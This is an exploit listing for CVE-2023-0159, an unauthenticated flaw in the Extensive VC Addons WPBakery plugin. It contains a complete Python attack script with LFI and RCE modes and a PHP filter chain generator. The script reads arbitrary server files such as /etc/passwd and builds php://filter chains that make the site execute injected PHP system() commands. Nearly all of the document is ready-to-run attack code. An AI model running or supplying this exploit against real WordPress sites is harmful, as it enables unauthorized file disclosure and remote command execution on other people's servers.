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# Exploit Title: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE # Date: 12 march 2025 # Exploit Author: Ravina # Vendor Homepage: wprealize # Version: 1.9.1 # Tested on: windows, linux # CVE ID : CVE-2023-0159 # Vulnerability Type: Remote Code Execution ------------------------------------------------ # CVE-2023-0159_scan.py #!/usr/bin/env python3 # LFI: ./exploit.py --mode lfi --target https://vuln-site.com --file /etc/passwd # RCE: ./exploit.py --mode rce --target https://vuln-site.com --command "id" --generator /path/to/php_filter_chain_generator.py import argparse import requests import base64 import subprocess import time import php_filter_chain_generator def run_lfi(target, file_path): url = f"{target}/wp-admin/admin-ajax.php" payload = { 'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': f'php://filter/convert.base64-encode/resource={file_path}' } try: response = requests.post(url, data=payload) if response.status_code == 200 and '{"status":"success","message":"Items are loaded","data":' in response.text: try: json_data = response.json() base64_content = json_data['data']['items'] decoded = base64.b64decode(base64_content).decode() print(f"\n[+] Successfully read {file_path}:\n") print(decoded) except Exception as e: print(f"[-] Decoding failed: {str(e)}") print(f"Raw response (truncated): {response.text[:500]}...") else: print(f"[-] LFI failed (Status: {response.status_code})") except Exception as e: print(f"[-] Request failed: {str(e)}") def run_rce(target, command, generator_path): # Base64 encode command to handle special characters encoded_cmd = base64.b64encode(command.encode()).decode() php_code = f'<?php system(base64_decode("{encoded_cmd}")); ?>' # Generate filter chain try: result = subprocess.run( [generator_path, '--chain', php_code], capture_output=True, text=True, check=True ) payload = None for line in result.stdout.split('\n'): if line.startswith('php://filter'): payload = line.strip() break if not payload: print("[-] Failed to generate payload") return url = f"{target}/wp-admin/admin-ajax.php" data = {'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': payload} print(f"[*] Sending payload for command: {command}") start_time = time.time() # Send the request to attempt RCE and dont forget to pass the generator path response = requests.post(url, data=data) elapsed = time.time() - start_time print(f"\n[+] Response time: {elapsed:.2f} seconds") print(f"[+] Status code: {response.status_code}") if response.status_code == 200: print("\n[+] Response content:") print(response.text[:1000] + ("..." if len(response.text) > 1000 else "")) except subprocess.CalledProcessError as e: print(f"[-] Filter chain generator failed: {e.stderr}") except FileNotFoundError: print(f"[-] Generator not found at {generator_path}") except Exception as e: print(f"[-] RCE failed: {str(e)}") def main(): parser = argparse.ArgumentParser(description="CVE-2023-0159 Exploit Script") parser.add_argument("--mode", choices=["lfi", "rce"], required=True, help="Exploit mode") parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)") parser.add_argument("--file", help="File path for LFI mode") parser.add_argument("--command", help="Command to execute for RCE mode") parser.add_argument("--generator", default="php_filter_chain_generator.py", help="Path to php_filter_chain_generator.py") args = parser.parse_args() if args.mode == "lfi": if not args.file: print("[-] Missing --file argument for LFI mode") return run_lfi(args.target.rstrip('/'), args.file) elif args.mode == "rce": if not args.command: print("[-] Missing --command argument for RCE mode") return run_rce(args.target.rstrip('/'), args.command, args.generator) if __name__ == "__main__": main() ------------------------------------------ # php_filter_chain_generator.py #!/usr/bin/env python3 import argparse import base64 import re # No need to guess a valid filename anymore file_to_use = "php://temp" conversions = { '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2', '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4', '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921', '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE', '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE', '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2', '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2', '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4', '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB', 'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213', 'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE', 'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000', 'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE', 'C': 'convert.iconv.UTF8.CSISO2022KR', 'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2', 'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213', 'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5', 'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT', 'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937', 'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB', 'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213', 'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8', 'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90', 'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213', 'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE', 'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213', 'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000', 'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4', 'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16', 'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE', 'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2', 'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC', 'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE', 'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T', 'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949', 'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4', 'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61', 'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775', 'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE', 'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB', 'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4', 'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2', 'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2', 'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4', 'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101', 'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS', 's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90', 'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103', 't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS', 'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943', 'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61', 'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB', 'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2', 'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936', 'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE', 'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932', 'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS', 'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361', 'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT', 'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16', 'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937', '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4', '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157', '=': '' } def generate_filter_chain(chain, debug_base64 = False): encoded_chain = chain # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: # don't add the decode while debugging chains filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" return final_payload def main(): # Parsing command line arguments parser = argparse.ArgumentParser(description="PHP filter chain generator.") parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False) parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False) args = parser.parse_args() if args.chain is not None: chain = args.chain.encode('utf-8') base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "") chain = generate_filter_chain(base64_value) print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value)) print(chain) if args.rawbase64 is not None: rawbase64 = args.rawbase64.replace("=", "") match = re.search("^([A-Za-z0-9+/])*$", rawbase64) if (match): chain = generate_filter_chain(rawbase64, True) print(chain) else: print ("[-] Base64 string required.") exit(1) if __name__ == "__main__": main() |
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